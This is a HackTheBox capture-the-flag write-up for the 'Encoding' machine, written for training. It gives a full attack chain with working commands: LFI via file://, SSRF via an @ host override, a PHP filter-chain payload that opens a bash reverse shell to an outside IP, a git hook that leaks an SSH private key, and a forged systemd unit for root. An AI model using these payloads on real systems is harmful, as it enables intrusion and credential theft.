HTB: Encoding Writeup
Encoding - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Encoding |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.233 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Encoding hosts a multi-vhost PHP application (“HaxTables”) that exposes string/integer/image
encoding conversions through an internal API. The API’s file-fetch feature accepts a
file:// URI without any scheme restriction, giving arbitrary local file read. Reading the
Apache vhost config reveals a third, localhost-only vhost whose front controller does a raw
include($_GET['page']). A missing trailing slash in the public API’s URL-building code lets
an attacker smuggle a @host override into the request path, pivoting the SSRF-restricted
internal API call onto that localhost-only vhost — turning the LFI into a PHP filter-chain
RCE and a shell as www-data. From there, a NOPASSWD sudo rule for a Git helper script,
combined with a writable .git directory (ACL), allows a malicious post-commit hook to
leak the svc user’s SSH key. Once on svc, a second NOPASSWD sudo rule for
systemctl restart * plus a writable /etc/systemd/system lets a forged service unit run as
root.
TL;DR: LFI via API file:// handler → read Apache vhost config → discover localhost-only
image.haxtables.htb → abuse missing trailing slash + @ host-override to SSRF into it → PHP
filter-chain RCE via raw include() in action_handler.php → shell as www-data → abuse
sudo Git helper + writable .git ACL + post-commit hook → steal svc SSH key → user.txt →
abuse sudo systemctl restart * + writable /etc/systemd/system → forged service unit →
root.txt.
Reconnaissance
Port Scanning
# Full TCP port scan, high min-rate since only two ports were expected to be opennmap -p- --min-rate=2000 -T4 10.129.43.233Results:
Host: 10.129.43.233Ports: 22/open/tcp//ssh///, 80/open/tcp//http///Ignored State: closed (65533)Only SSH and HTTP are exposed — the entire attack surface is the web application.
Service Enumeration
The root page on port 80 fingerprints as a Bootstrap-based site called HaxTables, offering String / Integer / Image “convertions” and a documented API:
<title>HaxTables</title>...<li><a href="/index.php?page=string">String</a></li><li><a href="/index.php?page=integer">Integer</a></li><li><a href="/index.php?page=image">Images</a></li>...<li><a href="/index.php?page=api">API</a></li>The API page references api.haxtables.htb. Following naming convention, image.haxtables.htb
was added as a candidate vhost as well:
echo '10.129.43.233 haxtables.htb api.haxtables.htb image.haxtables.htb' | sudo tee -a /etc/hostsVulnerability Assessment
- Arbitrary file read (LFI) — the string-conversion API accepts a
file_urlparameter and will fetchfile://URIs with no scheme allow-list. - URL-building SSRF — the public front-end’s
make_api_call()builds the internal API URL as'http://api.haxtables.htb' . $uri_path . '/index.php'with no separating slash, letting@inuri_pathoverride the request’s actual host. - Unauthenticated raw file inclusion —
image.haxtables.htb/actions/action_handler.phpdoesinclude($_GET['page'])directly, but the vhost itself is restricted toAllow from 127.0.0.1. - Sudo misconfiguration (www-data → svc) —
www-datacan run/var/www/image/scripts/git-commit.shassvcwithNOPASSWD, and holds write ACLs on the repo’s.gitdirectory. - Sudo misconfiguration (svc → root) —
svccan runsystemctl restart *as root withNOPASSWD, and/etc/systemd/systemcarries a writable ACL forsvc.
Initial Foothold
LFI via the string-conversion API
The str2hex action returns its output hex-encoded, and happily accepts a file:// URL in
place of a real remote target:
curl -s -H 'Content-Type: application/json' -X POST \ http://api.haxtables.htb/v3/tools/string/index.php \ -d '{"action":"str2hex","file_url":"file:///etc/passwd"}' \ | jq -r .data | xxd -r -proot:x:0:0:root:/root:/bin/bash...svc:x:1000:1000:svc:/home/svc:/bin/bashlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false_laurel:x:998:998::/var/log/laurel:/bin/falseThis confirms arbitrary local file read: the endpoint has no protocol allow-list on
file_url, so requesting file:///etc/passwd just reads the file straight off disk instead
of fetching a remote URL.
Building a reliable LFI oracle
Automating this hit a wall — /tmp on the jump host was completely full (436M size, 417M used, 0 available), which broke a Python requests-based helper mid-import (a corrupted
.pyc in /dev/shm produced bad marshal data). Rather than fight the disk quota, the oracle
was reimplemented as a plain curl/jq/xxd one-liner and dropped in /dev/shm (tmpfs, not
disk-backed):
#!/bin/bash# rd.sh <path> -> reads an arbitrary file via the LFIcurl -s -m 20 -H 'Content-Type: application/json' -X POST \ http://api.haxtables.htb/v3/tools/string/index.php \ -d "{\"action\":\"str2hex\",\"file_url\":\"file://$1\"}" \ | jq -r .data | xxd -r -pReading source code through the LFI
Pulling the Apache vhost config exposed the internal topology:
bash rd.sh /etc/apache2/sites-enabled/000-default.conf<VirtualHost *:80> ServerName image.haxtables.htb DocumentRoot /var/www/image <Directory /var/www/image> Deny from all Allow from 127.0.0.1 ... </Directory></VirtualHost>image.haxtables.htb is a third vhost, restricted to localhost. Reading the app’s own PHP
sources through the same LFI revealed the request-routing chain:
bash rd.sh /var/www/html/handler.phpbash rd.sh /var/www/api/utils.phpbash rd.sh /var/www/image/index.phpbash rd.sh /var/www/image/utils.phpbash rd.sh /var/www/image/actions/action_handler.phpThe key function, in /var/www/api/utils.php:
function make_api_call($action, $data, $uri_path, $is_file = false){ ... $ch = curl_init(); $url = 'http://api.haxtables.htb' . $uri_path . '/index.php'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); ...}There is no slash between the hardcoded host and $uri_path. That means a uri_path of
@image.haxtables.htb/actions/action_handler.php?page=...&p= builds the URL:
http://api.haxtables.htb@image.haxtables.htb/actions/action_handler.php?page=...&p=/index.phpIn URL syntax, user@host treats everything before @ as userinfo — so curl actually
connects to image.haxtables.htb, not api.haxtables.htb. This bypasses the
Allow from 127.0.0.1 restriction entirely, because the request itself still originates
from localhost (the app server calling its own internal API), just redirected to a different
vhost on the same box.
And in /var/www/image/actions/action_handler.php:
<?phpinclude_once 'utils.php';
if (isset($_GET['page'])) { $page = $_GET['page']; include($page);} else { echo jsonify(['message' => 'No page specified!']);}?>A raw, unfiltered include($_GET['page']) — normally unreachable from outside since the
vhost is localhost-only, but now reachable through the @-host-override SSRF above.
PHP filter chain → RCE
include() on user input plus PHP’s stream filter stack is enough for RCE without ever
writing a file to disk, using the technique documented by Synacktiv’s
php_filter_chain_generator (chained convert.iconv/convert.base64 filters mutate an
arbitrary seed string into valid PHP bytecode that PHP then executes when include() reads
the php://filter/... stream):
git clone https://github.com/synacktiv/php_filter_chain_generator.gitpython3 php_filter_chain_generator/php_filter_chain_generator.py \ --chain '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.15.180/4444 0>&1\""); ?>' \ | grep '^php://filter' > chain.txtThe generated php://filter/... chain was then fired at handler.php, using the @-override
to route through action_handler.php’s include($_GET['page']):
import urllib.request, jsonchain = open('chain.txt').read().strip()uri = '@image.haxtables.htb/actions/action_handler.php?page=' + chain + '&p='body = json.dumps({'action':'str2hex','data':'test','uri_path':uri}).encode()req = urllib.request.Request('http://haxtables.htb/handler.php', data=body, headers={'Content-Type':'application/json'})urllib.request.urlopen(req, timeout=25)With nc -lvnp 4444 listening:
listening on [any] 4444 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.43.233] 34700bash: cannot set terminal process group (792): Inappropriate ioctl for devicebash: no job control in this shellwww-data@encoding:~/image/actions$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Foothold as www-data confirmed. (The dropped shell had no PTY/job control — a simple
cmds-file + tail -f | nc relay was used afterward to push commands reliably.)
Privilege Escalation
www-data → svc (user.txt)
sudo -lUser www-data may run the following commands on encoding: (svc) NOPASSWD: /var/www/image/scripts/git-commit.shwww-data can run a Git helper script as svc with no password. Checking the repo’s ACLs:
getfacl /var/www/image/.gituser::rwxuser:www-data:rwxgroup::r-xmask::rwxother::r-xwww-data has full rwx on .git (though not on the working tree /var/www/image itself).
That’s enough to plant a hook:
printf '#!/bin/bash\ncat /home/svc/.ssh/id_rsa > /dev/shm/svc_key 2>/dev/null; chmod 666 /dev/shm/svc_key 2>/dev/null\n' \ > /var/www/image/.git/hooks/post-commitchmod +x /var/www/image/.git/hooks/post-commitThe git-commit script (visible earlier via image/utils.php’s git_commit() wrapper) runs
git commit --no-verify — that skips pre-commit but a post-commit hook still fires.
Since www-data can’t write inside the actual working tree, a foreign work-tree is used to
stage a throwaway file into the same .git:
mkdir -p /dev/shm/wt && echo pwn > /dev/shm/wt/pwnfilegit --git-dir=/var/www/image/.git --work-tree=/dev/shm/wt add /dev/shm/wt/pwnfileThen the sudo rule triggers the commit (and the hook) as svc:
sudo -u svc /var/www/image/scripts/git-commit.sh[master 4b54afb] Commited from API! 1 file changed, 1 insertion(+) create mode 100644 pwnfileRC=0-rw-rw-rw- 1 svc svc 2602 Jul 21 08:41 /dev/shm/svc_key-----BEGIN OPENSSH PRIVATE KEY-----The hook ran as svc, dumping the private key to a world-writable file. SSH in directly:
chmod 600 id_rsa_svcssh -i id_rsa_svc svc@10.129.43.233 'id; cat /home/svc/user.txt; sudo -l'uid=1000(svc) gid=1000(svc) groups=1000(svc)===USER<redacted>===SUDOUser svc may run the following commands on encoding: (root) NOPASSWD: /usr/bin/systemctl restart *user.txt: <redacted>
svc → root (root.txt)
svc can restart any systemd unit as root with no password. Checking write access to the
unit directory:
ls -ld /etc/systemd/systemdrwxrwxr-x+ 22 root root 4096 Jul 21 08:42 /etc/systemd/systemThe + denotes an ACL entry granting svc group write access. A brand-new unit file can be
dropped and then started via the sudo rule — systemctl doesn’t care whether the unit is
pre-existing, only that it’s a valid unit file it’s told to (re)start:
cat > /dev/shm/x.sh <<'EOS'#!/bin/bashcat /root/root.txt > /dev/shm/rootflag 2>/dev/nullid >> /dev/shm/rootflagchmod 666 /dev/shm/rootflagEOSchmod +x /dev/shm/x.sh
printf '[Unit]\nDescription=pwn\n[Service]\nType=oneshot\nExecStart=/dev/shm/x.sh\n[Install]\nWantedBy=multi-user.target\n' \ > /etc/systemd/system/pwn.service
sudo /usr/bin/systemctl restart pwn.servicecat /dev/shm/rootflag-rw-rw-r-- 1 svc svc 107 Jul 21 08:42 /etc/systemd/system/pwn.service<redacted>uid=0(root) gid=0(root) groups=0(root)root.txt: <redacted>
Attack Chain Summary
Nmap (22, 80) → HaxTables app, vhosts haxtables.htb/api/image → LFI via API file:// (str2hex) → read /etc/apache2 vhost config → discover localhost-only image.haxtables.htb → LFI-read handler.php / api-utils.php / image-utils.php / action_handler.php → abuse missing-slash + '@' host-override SSRF to reach action_handler.php → raw include($_GET['page']) + PHP filter chain (php_filter_chain_generator) → RCE → reverse shell as www-data → sudo (svc) NOPASSWD git-commit.sh + writable .git ACL → malicious post-commit hook + foreign work-tree git add → leak svc SSH key → ssh as svc → user.txt → sudo (root) NOPASSWD systemctl restart * + writable /etc/systemd/system → forged pwn.service → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | HTTP requests to the string-conversion API, LFI oracle |
jq | Parsing JSON API responses |
xxd | Decoding hex-encoded file contents |
python3 / php_filter_chain_generator.py | Generating the PHP filter-chain RCE payload |
git | Reading repo state; abusing .git ACL + hooks for privesc |
nc | Reverse shell listener |
ssh / scp | Access as svc; transferring helper scripts |
systemctl | Root privesc via forged service unit |
Key Learnings
Techniques Practiced
- Exploiting an unrestricted
file://scheme in a file-fetch API for local file read - Pivoting an SSRF-style request through a missing-trailing-slash URL concatenation bug
using the
user@hostURL parsing quirk - Turning a raw
include($_GET[...])into RCE with PHP filter chains (no file write needed) - Abusing a Git
post-commithook plus.git-only write ACLs (without working-tree access) to execute code as another user via a NOPASSWD sudo wrapper - Escalating to root through an ACL-writable systemd unit directory and a
sudo systemctl restart *rule
Lessons Learned
- A missing trailing slash when concatenating a hardcoded host with user-controlled path
segments is enough to enable host-header-style SSRF via the
@URL syntax — always normalize URLs with a proper builder, never string concatenation. file://should never be implicitly trusted by a “fetch remote content” feature; scheme allow-listing (http/httpsonly) must be enforced, not just a127.0.0.1hostname check.git commit --no-verifyonly disables pre-commit; apost-commithook still executes with the committer’s privileges, and merely having write access to.git/hooks(even without working-tree write access, via a foreign--work-tree) is sufficient to abuse it.sudorules scoped tosystemctl restart *are equivalent to full root code execution whenever the unit directory is writable by the delegated user — wildcard subcommands onsystemctlshould be treated as unrestricted root access.- When local disk quota is exhausted, tmpfs (
/dev/shm) is a reliable fallback for staging payloads and helper scripts without touching the constrained filesystem.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pwnmeow, “Encoding” — HackTheBox Official Writeup (D23.100.223), HackTheBox Ltd. — used
for explanatory context on the PHP filter-chain RCE technique, the Git
.git-ACL/hook privilege-escalation mechanism, and thesudo systemctl restartroot path. All IPs, commands, outputs, and credentials in this writeup are from the author’s own live solve, not the official document.